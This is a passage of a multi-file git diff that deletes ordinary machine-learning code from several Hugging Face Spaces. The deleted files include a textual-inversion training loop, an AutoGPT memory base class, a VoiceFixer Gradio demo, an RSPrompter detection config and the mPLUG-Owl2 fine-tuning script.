args.max_train_steps = args.num_train_epochs * num_update_steps_per_epoch - # Afterwards we recalculate our number of training epochs - args.num_train_epochs = math.ceil(args.max_train_steps / num_update_steps_per_epoch) - - # We need to initialize the trackers we use, and also store our configuration. - # The trackers initializes automatically on the main process. - if accelerator.is_main_process: - accelerator.init_trackers("textual_inversion", config=vars(args)) - - # Train! - total_batch_size = args.train_batch_size * accelerator.num_processes * args.gradient_accumulation_steps - - logger.info("***** Running training *****") - logger.info(f" Num examples = {len(train_dataset)}") - logger.info(f" Num Epochs = {args.num_train_epochs}") - logger.info(f" Instantaneous batch size per device = {args.train_batch_size}") - logger.info(f" Total train batch size (w. parallel, distributed & accumulation) = {total_batch_size}") - logger.info(f" Gradient Accumulation steps = {args.gradient_accumulation_steps}") - logger.info(f" Total optimization steps = {args.max_train_steps}") - # Only show the progress bar once on each machine. - progress_bar = tqdm(range(args.max_train_steps), disable=not accelerator.is_local_main_process) - progress_bar.set_description("Steps") - global_step = 0 - - for epoch in range(args.num_train_epochs): - text_encoder.train() - for step, batch in enumerate(train_dataloader): - with accelerator.accumulate(text_encoder): - # Convert images to latent space - latents = vae.encode(batch["pixel_values"]).latent_dist.sample().detach() - latents = latents * 0.18215 - - # Sample noise that we'll add to the latents - noise = torch.randn(latents.shape).to(latents.device) - bsz = latents.shape[0] - # Sample a random timestep for each image - timesteps = torch.randint( - 0, noise_scheduler.config.num_train_timesteps, (bsz,), device=latents.device - ).long() - - # Add noise to the latents according to the noise magnitude at each timestep - # (this is the forward diffusion process) - noisy_latents = noise_scheduler.add_noise(latents, noise, timesteps) - - # Get the text embedding for conditioning - encoder_hidden_states = text_encoder(batch["input_ids"])[0] - - # Predict the noise residual - noise_pred = unet(noisy_latents, timesteps, encoder_hidden_states).sample - - loss = F.mse_loss(noise_pred, noise, reduction="none").mean([1, 2, 3]).mean() - accelerator.backward(loss) - - # Zero out the gradients for all token embeddings except the newly added - # embeddings for the concept, as we only want to optimize the concept embeddings - if accelerator.num_processes > 1: - grads = text_encoder.module.get_input_embeddings().weight.grad - else: - grads = text_encoder.get_input_embeddings().weight.grad - # Get the index for tokens that we want to zero the grads for - index_grads_to_zero = torch.arange(len(tokenizer)) != placeholder_token_id - grads.data[index_grads_to_zero, :] = grads.data[index_grads_to_zero, :].fill_(0) - - optimizer.step() - lr_scheduler.step() - optimizer.zero_grad() - - # Checks if the accelerator has performed an optimization step behind the scenes - if accelerator.sync_gradients: - progress_bar.update(1) - global_step += 1 - if global_step % args.save_steps == 0: - save_progress(text_encoder, placeholder_token_id, accelerator, args) - - logs = {"loss": loss.detach().item(), "lr": lr_scheduler.get_last_lr()[0]} - progress_bar.set_postfix(**logs) - accelerator.log(logs, step=global_step) - - if global_step >= args.max_train_steps: - break - - accelerator.wait_for_everyone() - - # Create the pipeline using using the trained modules and save it. - if accelerator.is_main_process: - pipeline = StableDiffusionPipeline( - text_encoder=accelerator.unwrap_model(text_encoder), - vae=vae, - unet=unet, - tokenizer=tokenizer, - scheduler=PNDMScheduler( - beta_start=0.00085, beta_end=0.012, beta_schedule="scaled_linear", skip_prk_steps=True - ), - safety_checker=StableDiffusionSafetyChecker.from_pretrained("CompVis/stable-diffusion-safety-checker"), - feature_extractor=CLIPFeatureExtractor.from_pretrained("openai/clip-vit-base-patch32"), - ) - pipeline.save_pretrained(args.output_dir) - # Also save the newly trained embeddings - save_progress(text_encoder, placeholder_token_id, accelerator, args) - - if args.push_to_hub: - repo.push_to_hub(commit_message="End of training", blocking=False, auto_lfs_prune=True) - - accelerator.end_training() - torch.cuda.empty_cache() - gc.collect() - - -if __name__ == "__main__": - main() diff --git a/spaces/Kevin676/AutoGPT/autogpt/memory/base.py b/spaces/Kevin676/AutoGPT/autogpt/memory/base.py deleted file mode 100644 index 691e2299c4caa5c2e9af5b2436727834f3cc6c67..0000000000000000000000000000000000000000 --- a/spaces/Kevin676/AutoGPT/autogpt/memory/base.py +++ /dev/null @@ -1,43 +0,0 @@ -"""Base class for memory providers.""" -import abc - -import openai - -from autogpt.config import AbstractSingleton, Config - -cfg = Config() - - -def get_ada_embedding(text): - text = text.replace("\n", " ") - if cfg.use_azure: - return openai.Embedding.create( - input=[text], - engine=cfg.get_azure_deployment_id_for_model("text-embedding-ada-002"), - )["data"][0]["embedding"] - else: - return openai.Embedding.create(input=[text], model="text-embedding-ada-002")[ - "data" - ][0]["embedding"] - - -class MemoryProviderSingleton(AbstractSingleton): - @abc.abstractmethod - def add(self, data): - pass - - @abc.abstractmethod - def get(self, data): - pass - - @abc.abstractmethod - def clear(self): - pass - - @abc.abstractmethod - def get_relevant(self, data, num_relevant=5): - pass - - @abc.abstractmethod - def get_stats(self): - pass diff --git a/spaces/Kevin676/AutoGPT/run_continuous.sh b/spaces/Kevin676/AutoGPT/run_continuous.sh deleted file mode 100644 index 1f4436c88503172c0578b15a8447ed8268502578..0000000000000000000000000000000000000000 --- a/spaces/Kevin676/AutoGPT/run_continuous.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -./run.sh --continuous $@ diff --git a/spaces/Kevin676/VoiceFixer/app.py b/spaces/Kevin676/VoiceFixer/app.py deleted file mode 100644 index 7f07ecbe887d81d8241e7e8f11222b580d131fc1..0000000000000000000000000000000000000000 --- a/spaces/Kevin676/VoiceFixer/app.py +++ /dev/null @@ -1,24 +0,0 @@ -import os -os.system('pip install gradio==2.3.0a0') -os.system('pip install voicefixer --upgrade') -from voicefixer import VoiceFixer -import gradio as gr -voicefixer = VoiceFixer() -def inference(audio,mode): - voicefixer.restore(input=audio.name, # input wav file path - output="output.wav", # output wav file path - cuda=False, # whether to use gpu acceleration - mode = int(mode)) # You can try out mode 0, 1 to find out the best result - return 'output.wav' - -inputs = [gr.inputs.Audio(type="file", label="Input Audio"),gr.inputs.Radio(choices=['0','1','2'], type="value", default='0', label='mode')] -outputs = gr.outputs.Audio(type="file",label="Output Audio") - - -title = "Voice Fixer" -description = "Gradio demo for VoiceFixer: Toward General Speech Restoration With Neural Vocoder. To use it, simply add your audio, or click one of the examples to load them. Read more at the links below." -article = "

      VoiceFixer: Toward General Speech Restoration With Neural Vocoder | Github Repo

      " - -examples=[['bruce.wav','2']] - -gr.Interface(inference, inputs, outputs, title=title, description=description, article=article, examples=examples, enable_queue=True).launch() diff --git a/spaces/KyanChen/RSPrompter/configs/huggingface/rsprompter_anchor_NWPU_config.py b/spaces/KyanChen/RSPrompter/configs/huggingface/rsprompter_anchor_NWPU_config.py deleted file mode 100644 index b46d7eacbe7360aa1ba4d8e4333782e3d24380aa..0000000000000000000000000000000000000000 --- a/spaces/KyanChen/RSPrompter/configs/huggingface/rsprompter_anchor_NWPU_config.py +++ /dev/null @@ -1,353 +0,0 @@ -custom_imports = dict(imports=['mmseg.datasets', 'mmseg.models'], allow_failed_imports=False) - -sub_model_train = [ - 'panoptic_head', - 'data_preprocessor' -] - -sub_model_optim = { - 'panoptic_head': {'lr_mult': 1}, -} - -max_epochs = 1200 - -optimizer = dict( - type='AdamW', - sub_model=sub_model_optim, - lr=0.0005, - weight_decay=1e-3 -) - -param_scheduler = [ - # warm up learning rate scheduler - dict( - type='LinearLR', - start_factor=1e-4, - by_epoch=True, - begin=0, - end=1, - # update by iter - convert_to_iter_based=True), - # main learning rate scheduler - dict( - type='CosineAnnealingLR', - T_max=max_epochs, - by_epoch=True, - begin=1, - end=max_epochs, - ), -] - -param_scheduler_callback = dict( - type='ParamSchedulerHook' -) - - -image_size = (1024, 1024) - -data_preprocessor = dict( - type='mmdet.DetDataPreprocessor', - mean=[123.675, 116.28, 103.53], - std=[58.395, 57.12, 57.375], - bgr_to_rgb=True, - pad_size_divisor=32, - pad_mask=True, - mask_pad_value=0, -) - -num_things_classes = 10 -num_stuff_classes = 0 -num_classes = num_things_classes + num_stuff_classes -prompt_shape = (60, 5) - -model_cfg = dict( - type='SegSAMAnchorPLer', - hyperparameters=dict( - optimizer=optimizer, - param_scheduler=param_scheduler, - ), - need_train_names=sub_model_train, - data_preprocessor=data_preprocessor, - backbone=dict( - type='vit_h', - # checkpoint='pretrain/sam/sam_vit_h_4b8939.pth', - # type='vit_b', - # checkpoint='pretrain/sam/sam_vit_b_01ec64.pth', - ), - panoptic_head=dict( - type='SAMAnchorInstanceHead', - neck=dict( - type='SAMAggregatorNeck', - in_channels=[1280] * 32, - # in_channels=[768] * 12, - inner_channels=32, - selected_channels=range(4, 32, 2), - # selected_channels=range(4, 12, 2), - out_channels=256, - up_sample_scale=4, - ), - rpn_head=dict( - type='mmdet.RPNHead', - in_channels=256, - feat_channels=256, - anchor_generator=dict( - type='mmdet.AnchorGenerator', - scales=[2, 4, 8, 16, 32, 64], - ratios=[0.5, 1.0, 2.0], - strides=[8, 16, 32]), - bbox_coder=dict( - type='mmdet.DeltaXYWHBBoxCoder', - target_means=[.0, .0, .0, .0], - target_stds=[1.0, 1.0, 1.0, 1.0]), - loss_cls=dict( - type='mmdet.CrossEntropyLoss', use_sigmoid=True, loss_weight=1.0), - loss_bbox=dict(type='mmdet.SmoothL1Loss', loss_weight=1.0)), - roi_head=dict( - type='SAMAnchorPromptRoIHead', - bbox_roi_extractor=dict( - type='mmdet.SingleRoIExtractor', - roi_layer=dict(type='RoIAlign', output_size=7, sampling_ratio=0), - out_channels=256, - featmap_strides=[8, 16, 32]), - bbox_head=dict( - type='mmdet.Shared2FCBBoxHead', - in_channels=256, - fc_out_channels=1024, - roi_feat_size=7, - num_classes=num_classes, - bbox_coder=dict( - type='mmdet.DeltaXYWHBBoxCoder', - target_means=[0., 0., 0., 0.], - target_stds=[0.1, 0.1, 0.2, 0.2]), - reg_class_agnostic=False, - loss_cls=dict( - type='mmdet.CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0), - loss_bbox=dict(type='mmdet.SmoothL1Loss', loss_weight=1.0)), - mask_roi_extractor=dict( - type='mmdet.SingleRoIExtractor', - roi_layer=dict(type='RoIAlign', output_size=14, sampling_ratio=0), - out_channels=256, - featmap_strides=[8, 16, 32]), - mask_head=dict( - type='SAMPromptMaskHead', - per_query_point=prompt_shape[1], - with_sincos=True, - class_agnostic=True, - loss_mask=dict( - type='mmdet.CrossEntropyLoss', use_mask=True, loss_weight=1.0))), - # model training and testing settings - train_cfg=dict( - rpn=dict( - assigner=dict( - type='mmdet.MaxIoUAssigner', - pos_iou_thr=0.7, - neg_iou_thr=0.3, - min_pos_iou=0.3, - match_low_quality=True, - ignore_iof_thr=-1), - sampler=dict( - type='mmdet.RandomSampler', - num=512, - pos_fraction=0.5, - neg_pos_ub=-1, - add_gt_as_proposals=False), - allowed_border=-1, - pos_weight=-1, - debug=False), - rpn_proposal=dict( - nms_pre=2000, - max_per_img=1000, - nms=dict(type='nms', iou_threshold=0.7), - min_bbox_size=0), - rcnn=dict( - assigner=dict( - type='mmdet.MaxIoUAssigner', - pos_iou_thr=0.5, - neg_iou_thr=0.5, - min_pos_iou=0.5, - match_low_quality=True, - ignore_iof_thr=-1), - sampler=dict( - type='mmdet.RandomSampler', - num=256, - pos_fraction=0.25, - neg_pos_ub=-1, - add_gt_as_proposals=True), - mask_size=1024, - pos_weight=-1, - debug=False)), - test_cfg=dict( - rpn=dict( - nms_pre=1000, - max_per_img=1000, - nms=dict(type='nms', iou_threshold=0.7), - min_bbox_size=0), - rcnn=dict( - score_thr=0.05, - nms=dict(type='nms', iou_threshold=0.5), - max_per_img=100, - mask_thr_binary=0.5) - ) - ) -) - - -task_name = 'nwpu_ins' -exp_name = 'E20230629_1' -logger = dict( - type='WandbLogger', - project=task_name, - group='sam-anchor', - name=exp_name -) - - -callbacks = [ - param_scheduler_callback, - dict( - type='ModelCheckpoint', - dirpath=f'results/{task_name}/{exp_name}/checkpoints', - save_last=True, - mode='max', - monitor='valsegm_map_0', - save_top_k=3, - filename='epoch_{epoch}-map_{valsegm_map_0:.4f}' - ), - dict( - type='LearningRateMonitor', - logging_interval='step' - ) -] - -vis_backends = [dict(type='mmdet.LocalVisBackend')] -visualizer = dict( - type='mmdet.DetLocalVisualizer', - vis_backends=vis_backends, - name='visualizer', - fig_save_cfg=dict( - frameon=False, - figsize=(40, 20), - # dpi=300, - ), - line_width=2, - alpha=0.8 -) - -trainer_cfg = dict( - compiled_model=False, - accelerator="auto", - strategy="auto", - # strategy="ddp", - # strategy='ddp_find_unused_parameters_true', - # precision='32', - # precision='16-mixed', - devices=8, - default_root_dir=f'results/{task_name}/{exp_name}', - # default_root_dir='results/tmp', - max_epochs=max_epochs, - logger=logger, - callbacks=callbacks, - log_every_n_steps=5, - check_val_every_n_epoch=5, - benchmark=True, - # sync_batchnorm=True, - # fast_dev_run=True, - - # limit_train_batches=1, - # limit_val_batches=0, - # limit_test_batches=None, - # limit_predict_batches=None, - # overfit_batches=0.0, - - # val_check_interval=None, - # num_sanity_val_steps=0, - # enable_checkpointing=None, - # enable_progress_bar=None, - # enable_model_summary=None, - # accumulate_grad_batches=32, - # gradient_clip_val=15, - # gradient_clip_algorithm='norm', - # deterministic=None, - # inference_mode: bool=True, - use_distributed_sampler=True, - # profiler="simple", - # detect_anomaly=False, - # barebones=False, - # plugins=None, - # reload_dataloaders_every_n_epochs=0, -) - - -backend_args = None -train_pipeline = [ - dict(type='mmdet.LoadImageFromFile'), - dict(type='mmdet.LoadAnnotations', with_bbox=True, with_mask=True), - dict(type='mmdet.Resize', scale=image_size), - dict(type='mmdet.RandomFlip', prob=0.5), - dict(type='mmdet.PackDetInputs') -] - -test_pipeline = [ - dict(type='mmdet.LoadImageFromFile', backend_args=backend_args), - dict(type='mmdet.Resize', scale=image_size), - # If you don't have a gt annotation, delete the pipeline - dict(type='mmdet.LoadAnnotations', with_bbox=True, with_mask=True), - dict( - type='mmdet.PackDetInputs', - meta_keys=('img_id', 'img_path', 'ori_shape', 'img_shape', - 'scale_factor')) -] - -predict_pipeline = [ - dict(type='mmdet.Resize', scale=image_size), - dict( - type='mmdet.PackDetInputs', - meta_keys=('ori_shape', 'img_shape', 'scale_factor')) -] - -train_batch_size_per_gpu = 2 -train_num_workers = 2 -test_batch_size_per_gpu = 2 -test_num_workers = 2 -persistent_workers = True - -data_parent = '/mnt/search01/dataset/cky_data/NWPU10' -train_data_prefix = '' -val_data_prefix = '' -dataset_type = 'NWPUInsSegDataset' - -val_loader = dict( - batch_size=test_batch_size_per_gpu, - num_workers=test_num_workers, - persistent_workers=persistent_workers, - pin_memory=True, - dataset=dict( - type=dataset_type, - data_root=data_parent, - ann_file='NWPU_instances_val.json', - data_prefix=dict(img_path='positive image set'), - test_mode=True, - filter_cfg=dict(filter_empty_gt=True, min_size=32), - pipeline=test_pipeline, - backend_args=backend_args)) - -datamodule_cfg = dict( - type='PLDataModule', - train_loader=dict( - batch_size=train_batch_size_per_gpu, - num_workers=train_num_workers, - persistent_workers=persistent_workers, - pin_memory=True, - dataset=dict( - type=dataset_type, - data_root=data_parent, - ann_file='NWPU_instances_train.json', - data_prefix=dict(img_path='positive image set'), - filter_cfg=dict(filter_empty_gt=True, min_size=32), - pipeline=train_pipeline, - backend_args=backend_args) - ), - val_loader=val_loader, - # test_loader=val_loader - predict_loader=val_loader -) \ No newline at end of file diff --git a/spaces/LeoLM/leo-hessianai-13b-chat/README.md b/spaces/LeoLM/leo-hessianai-13b-chat/README.md deleted file mode 100644 index 9bb5e0651f98fd2468b9c48169683701195315a9..0000000000000000000000000000000000000000 --- a/spaces/LeoLM/leo-hessianai-13b-chat/README.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: LeoLM 13b Chat -emoji: 🦁 -colorFrom: yellow -colorTo: yellow -sdk: gradio -sdk_version: 3.44.4 -app_file: app.py -pinned: false -license: llama2 ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/MAGAer13/mPLUG-Owl2/mplug_owl2/train/train.py b/spaces/MAGAer13/mPLUG-Owl2/mplug_owl2/train/train.py deleted file mode 100644 index 7d2a141af86587050f7be94e8699870017496584..0000000000000000000000000000000000000000 --- a/spaces/MAGAer13/mPLUG-Owl2/mplug_owl2/train/train.py +++ /dev/null @@ -1,848 +0,0 @@ -# Adopted from https://github.com/lm-sys/FastChat. Below is the original copyright: -# Adopted from tatsu-lab@stanford_alpaca. Below is the original copyright: -# Copyright 2023 Rohan Taori, Ishaan Gulrajani, Tianyi Zhang, Yann Dubois, Xuechen Li -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -import os -import copy -from dataclasses import dataclass, field -import json -import logging -import pathlib -from typing import Dict, Optional, Sequence, List - -import torch - -import transformers -from transformers.models.clip.image_processing_clip import CLIPImageProcessor - -from torch.utils.data import Dataset -from mplug_owl2.train.mplug_owl2_trainer import MPLUGOwl2Trainer -from mplug_owl2.constants import IGNORE_INDEX, IMAGE_TOKEN_INDEX, DEFAULT_IMAGE_TOKEN - -from mplug_owl2 import conversation as conversation_lib -from mplug_owl2.model import * -from mplug_owl2.mm_utils import tokenizer_image_token - -from PIL import Image -from icecream import ic - -local_rank = None - - -def rank0_print(*args): - if local_rank == 0: - print(*args) - - -@dataclass -class ModelArguments: - model_name_or_path: Optional[str] = field(default="facebook/opt-125m") - version: Optional[str] = field(default="v0") - freeze_backbone: bool = field(default=False) - tune_mm_mlp_adapter: bool = field(default=False) - # vision_tower: Optional[str] = field(default=None) - # mm_vision_select_layer: Optional[int] = field(default=-1) # default to the last layer - # pretrain_mm_mlp_adapter: Optional[str] = field(default=None) - # mm_projector_type: Optional[str] = field(default='linear') - # mm_use_im_start_end: bool = field(default=False) - # mm_use_im_patch_token: bool = field(default=True) - # mm_vision_select_feature: Optional[str] = field(default="patch") - - -@dataclass -class DataArguments: - data_path: str = field(default=None, - metadata={"help": "Path to the training data."}) - lazy_preprocess: bool = False - is_multimodal: bool = False - image_folder: Optional[str] = field(default=None) - image_aspect_ratio: str = 'square' - image_grid_pinpoints: Optional[str] = field(default=None) - - -@dataclass -class TrainingArguments(transformers.TrainingArguments): - cache_dir: Optional[str] = field(default=None) - optim: str = field(default="adamw_torch") - remove_unused_columns: bool = field(default=False) - - tune_visual_abstractor: bool = field(default=True) - freeze_vision_model: bool = field(default=True) - # freeze_mm_mlp_adapter: bool = field(default=False) - # mpt_attn_impl: Optional[str] = field(default="triton") - model_max_length: int = field( - default=512, - metadata={ - "help": - "Maximum sequence length. Sequences will be right padded (and possibly truncated)." - }, - ) - double_quant: bool = field( - default=True, - metadata={"help": "Compress the quantization statistics through double quantization."} - ) - quant_type: str = field( - default="nf4", - metadata={"help": "Quantization data type to use. Should be one of `fp4` or `nf4`."} - ) - bits: int = field( - default=16, - metadata={"help": "How many bits to use."} - ) - lora_enable: bool = False - lora_r: int = 64 - lora_alpha: int = 16 - lora_dropout: float = 0.05 - lora_weight_path: str = "" - lora_bias: str = "none" - visual_abstractor_lr: Optional[float] = None - group_by_modality_length: bool = field(default=False) - - -def maybe_zero_3(param, ignore_status=False, name=None): - from deepspeed import zero - from deepspeed.runtime.zero.partition_parameters import ZeroParamStatus - if hasattr(param, "ds_id"): - if param.ds_status == ZeroParamStatus.NOT_AVAILABLE: - if not ignore_status: - logging.warning(f"{name}: param.ds_status != ZeroParamStatus.NOT_AVAILABLE: {param.ds_status}") - with zero.GatheredParameters([param]): - param = param.data.detach().cpu().clone() - else: - param = param.detach().cpu().clone() - return param - - -# Borrowed from peft.utils.get_peft_model_state_dict -def get_peft_state_maybe_zero_3(named_params, bias): - if bias == "none": - to_return = {k: t for k, t in named_params if "lora_" in k} - elif bias == "all": - to_return = {k: t for k, t in named_params if "lora_" in k or "bias" in k} - elif bias == "lora_only": - to_return = {} - maybe_lora_bias = {} - lora_bias_names = set() - for k, t in named_params: - if "lora_" in k: - to_return[k] = t - bias_name = k.split("lora_")[0] + "bias" - lora_bias_names.add(bias_name) - elif "bias" in k: - maybe_lora_bias[k] = t - for k, t in maybe_lora_bias: - if bias_name in lora_bias_names: - to_return[bias_name] = t - else: - raise NotImplementedError - to_return = {k: maybe_zero_3(v, ignore_status=True) for k, v in to_return.items()} - return to_return - - -def get_peft_state_non_lora_maybe_zero_3(named_params, require_grad_only=True): - to_return = {k: t for k, t in named_params if "lora_" not in k} - if require_grad_only: - to_return = {k: t for k, t in to_return.items() if t.requires_grad} - to_return = {k: maybe_zero_3(v, ignore_status=True).cpu() for k, v in to_return.items()} - return to_return - - -def get_mm_adapter_state_maybe_zero_3(named_params, keys_to_match): - to_return = {k: t for k, t in named_params if any(key_match in k for key_match in keys_to_match)} - to_return = {k: maybe_zero_3(v, ignore_status=True).cpu() for k, v in to_return.items()} - return to_return - - -def find_all_linear_names(model): - cls = torch.nn.Linear - lora_module_names = set() - multimodal_keywords = ['vision_model', 'visual_abstractor'] - for name, module in model.named_modules(): - if any(mm_keyword in name for mm_keyword in multimodal_keywords): - continue - if isinstance(module, cls): - lora_module_names.add(name) - - if 'lm_head' in lora_module_names: # needed for 16-bit - lora_module_names.remove('lm_head') - return list(lora_module_names) - - -def safe_save_model_for_hf_trainer(trainer: transformers.Trainer, - output_dir: str): - """Collects the state dict and dump to disk.""" - - if trainer.deepspeed: - torch.cuda.synchronize() - trainer.save_model(output_dir) - return - - state_dict = trainer.model.state_dict() - if trainer.args.should_save: - cpu_state_dict = { - key: value.cpu() - for key, value in state_dict.items() - } - del state_dict - trainer._save(output_dir, state_dict=cpu_state_dict) # noqa - - -def smart_tokenizer_and_embedding_resize( - special_tokens_dict: Dict, - tokenizer: transformers.PreTrainedTokenizer, - model: transformers.PreTrainedModel, -): - """Resize tokenizer and embedding. - - Note: This is the unoptimized version that may make your embedding size not be divisible by 64. - """ - num_new_tokens = tokenizer.add_special_tokens(special_tokens_dict) - model.resize_token_embeddings(len(tokenizer)) - - if num_new_tokens > 0: - input_embeddings = model.get_input_embeddings().weight.data - output_embeddings = model.get_output_embeddings().weight.data - - input_embeddings_avg = input_embeddings[:-num_new_tokens].mean( - dim=0, keepdim=True) - output_embeddings_avg = output_embeddings[:-num_new_tokens].mean( - dim=0, keepdim=True) - - input_embeddings[-num_new_tokens:] = input_embeddings_avg - output_embeddings[-num_new_tokens:] = output_embeddings_avg - - -def _tokenize_fn(strings: Sequence[str], - tokenizer: transformers.PreTrainedTokenizer) -> Dict: - """Tokenize a list of strings.""" - tokenized_list = [ - tokenizer( - text, - return_tensors="pt", - padding="longest", - max_length=tokenizer.model_max_length, - truncation=True, - ) for text in strings - ] - input_ids = labels = [ - tokenized.input_ids[0] for tokenized in tokenized_list - ] - input_ids_lens = labels_lens = [ - tokenized.input_ids.ne(tokenizer.pad_token_id).sum().item() - for tokenized in tokenized_list - ] - return dict( - input_ids=input_ids, - labels=labels, - input_ids_lens=input_ids_lens, - labels_lens=labels_lens, - ) - - -def _mask_targets(target, tokenized_lens, speakers): - # cur_idx = 0 - cur_idx = tokenized_lens[0] - tokenized_lens = tokenized_lens[1:] - target[:cur_idx] = IGNORE_INDEX - for tokenized_len, speaker in zip(tokenized_lens, speakers): - if speaker == "human": - target[cur_idx+2:cur_idx + tokenized_len] = IGNORE_INDEX - cur_idx += tokenized_len - - -def _add_speaker_and_signal(header, source, get_conversation=True): - """Add speaker and start/end signal on each round.""" - BEGIN_SIGNAL = "### " - END_SIGNAL = "\n" - conversation = header - for sentence in source: - from_str = sentence["from"] - if from_str.lower() == "human": - from_str = conversation_lib.default_conversation.roles[0] - elif from_str.lower() == "gpt": - from_str = conversation_lib.default_conversation.roles[1] - else: - from_str = 'unknown' - sentence["value"] = (BEGIN_SIGNAL + from_str + ": " + - sentence["value"] + END_SIGNAL) - if get_conversation: - conversation += sentence["value"] - conversation += BEGIN_SIGNAL - return conversation - - -def preprocess_multimodal( - sources: Sequence[str], - data_args: DataArguments -) -> Dict: - is_multimodal = data_args.is_multimodal - if not is_multimodal: - return sources - - for source in sources: - for sentence in source: - if DEFAULT_IMAGE_TOKEN in sentence['value']: - sentence['value'] = sentence['value'].replace(DEFAULT_IMAGE_TOKEN, '').strip() - sentence['value'] = DEFAULT_IMAGE_TOKEN + '\n' + sentence['value'] - sentence['value'] = sentence['value'].strip() - - replace_token = DEFAULT_IMAGE_TOKEN - sentence["value"] = sentence["value"].replace(DEFAULT_IMAGE_TOKEN, replace_token) - - return sources - - -def preprocess_v1( - sources, - tokenizer: transformers.PreTrainedTokenizer, - has_image: bool = False -) -> Dict: - conv = conversation_lib.default_conversation.copy() - roles = {"human": conv.roles[0], "gpt": conv.roles[1]} - - # Apply prompt templates - conversations = [] - for i, source in enumerate(sources): - if roles[source[0]["from"]] != conv.roles[0]: - # Skip the first one if it is not from human - source = source[1:] - - conv.messages = [] - for j, sentence in enumerate(source): - role = roles[sentence["from"]] - assert role == conv.roles[j % 2], f"{i}" - conv.append_message(role, sentence["value"]) - conversations.append(conv.get_prompt()) - - # Tokenize conversations - - if has_image: - input_ids = torch.stack([tokenizer_image_token(prompt, tokenizer, return_tensors='pt') for prompt in conversations], dim=0) - else: - input_ids = tokenizer( - conversations, - return_tensors="pt", - padding="longest", - max_length=tokenizer.model_max_length, - truncation=True, - ).input_ids - - targets = input_ids.clone() - - assert conv.sep_style == conversation_lib.SeparatorStyle.TWO or conv.sep_style == conversation_lib.SeparatorStyle.TWO_NO_SYS - - # Mask targets - sep = conv.sep + conv.roles[1] + ": " - for conversation, target in zip(conversations, targets): - total_len = int(target.ne(tokenizer.pad_token_id).sum()) - - rounds = conversation.split(conv.sep2) - cur_len = 1 - target[:cur_len] = IGNORE_INDEX - for i, rou in enumerate(rounds): - if rou == "": - break - - parts = rou.split(sep) - if len(parts) != 2: - break - parts[0] += sep - - if has_image: - round_len = len(tokenizer_image_token(rou, tokenizer)) - instruction_len = len(tokenizer_image_token(parts[0], tokenizer)) - 2 - else: - round_len = len(tokenizer(rou).input_ids) - instruction_len = len(tokenizer(parts[0]).input_ids) - 2 - - target[cur_len : cur_len + instruction_len] = IGNORE_INDEX - - cur_len += round_len - target[cur_len:] = IGNORE_INDEX - - if cur_len < tokenizer.model_max_length: - if cur_len != total_len: - target[:] = IGNORE_INDEX - print( - f"WARNING: tokenization mismatch: {cur_len} vs. {total_len}." - f" (ignored)" - ) - - return dict( - input_ids=input_ids, - labels=targets, - ) - - -def preprocess_plain( - sources: Sequence[str], - tokenizer: transformers.PreTrainedTokenizer, -) -> Dict: - # add end signal and concatenate together - conversations = [] - for source in sources: - assert len(source) == 2 - assert DEFAULT_IMAGE_TOKEN in source[0]['value'] - source[0]['value'] = DEFAULT_IMAGE_TOKEN - conversation = source[0]['value'] + source[1]['value'] + conversation_lib.default_conversation.sep - conversations.append(conversation) - # tokenize conversations - input_ids = [tokenizer_image_token(prompt, tokenizer, return_tensors='pt') for prompt in conversations] - targets = copy.deepcopy(input_ids) - for target, source in zip(targets, sources): - tokenized_len = len(tokenizer_image_token(source[0]['value'], tokenizer)) - target[:tokenized_len] = IGNORE_INDEX - - return dict(input_ids=input_ids, labels=targets) - - -def preprocess( - sources: Sequence[str], - tokenizer: transformers.PreTrainedTokenizer, - has_image: bool = False -) -> Dict: - """ - Given a list of sources, each is a conversation list. This transform: - 1. Add signal '### ' at the beginning each sentence, with end signal '\n'; - 2. Concatenate conversations together; - 3. Tokenize the concatenated conversation; - 4. Make a deepcopy as the target. Mask human words with IGNORE_INDEX. - """ - if conversation_lib.default_conversation.sep_style == conversation_lib.SeparatorStyle.PLAIN: - return preprocess_plain(sources, tokenizer) - if conversation_lib.default_conversation.version.startswith("v1"): - return preprocess_v1(sources, tokenizer, has_image=has_image) - # add end signal and concatenate together - conversations = [] - for source in sources: - header = f"{conversation_lib.default_conversation.system}\n\n" - conversation = _add_speaker_and_signal(header, source) - conversations.append(conversation) - # tokenize conversations - def get_tokenize_len(prompts): - return [len(tokenizer_image_token(prompt, tokenizer)) for prompt in prompts] - if has_image: - input_ids = [tokenizer_image_token(prompt, tokenizer, return_tensors='pt') for prompt in conversations] - else: - conversations_tokenized = _tokenize_fn(conversations, tokenizer) - input_ids = conversations_tokenized["input_ids"] - - targets = copy.deepcopy(input_ids) - for target, source in zip(targets, sources): - if has_image: - tokenized_lens = get_tokenize_len([header] + [s["value"] for s in source]) - else: - tokenized_lens = _tokenize_fn([header] + [s["value"] for s in source], tokenizer)["input_ids_lens"] - speakers = [sentence["from"] for sentence in source] - _mask_targets(target, tokenized_lens, speakers) - - return dict(input_ids=input_ids, labels=targets) - - -class LazySupervisedDataset(Dataset): - """Dataset for supervised fine-tuning.""" - - def __init__(self, data_path: str, - tokenizer: transformers.PreTrainedTokenizer, - data_args: DataArguments): - super(LazySupervisedDataset, self).__init__() - list_data_dict = json.load(open(data_path, "r")) - - rank0_print("Formatting inputs...Skip in lazy mode") - self.tokenizer = tokenizer - self.list_data_dict = list_data_dict - self.data_args = data_args - - def __len__(self): - return len(self.list_data_dict) - - @property - def lengths(self): - length_list = [] - for sample in self.list_data_dict: - img_tokens = 128 if 'image' in sample else 0 - length_list.append(sum(len(conv['value'].split()) for conv in sample['conversations']) + img_tokens) - return length_list - - - @property - def modality_lengths(self): - length_list = [] - for sample in self.list_data_dict: - cur_len = sum(len(conv['value'].split()) for conv in sample['conversations']) - cur_len = cur_len if 'image' in sample else -cur_len - length_list.append(cur_len) - return length_list - -# def __getitem__(self, i) -> Dict[str, torch.Tensor]: -# sources = self.list_data_dict[i] -# if isinstance(i, int): -# sources = [sources] -# assert len(sources) == 1, "Don't know why it is wrapped to a list" # 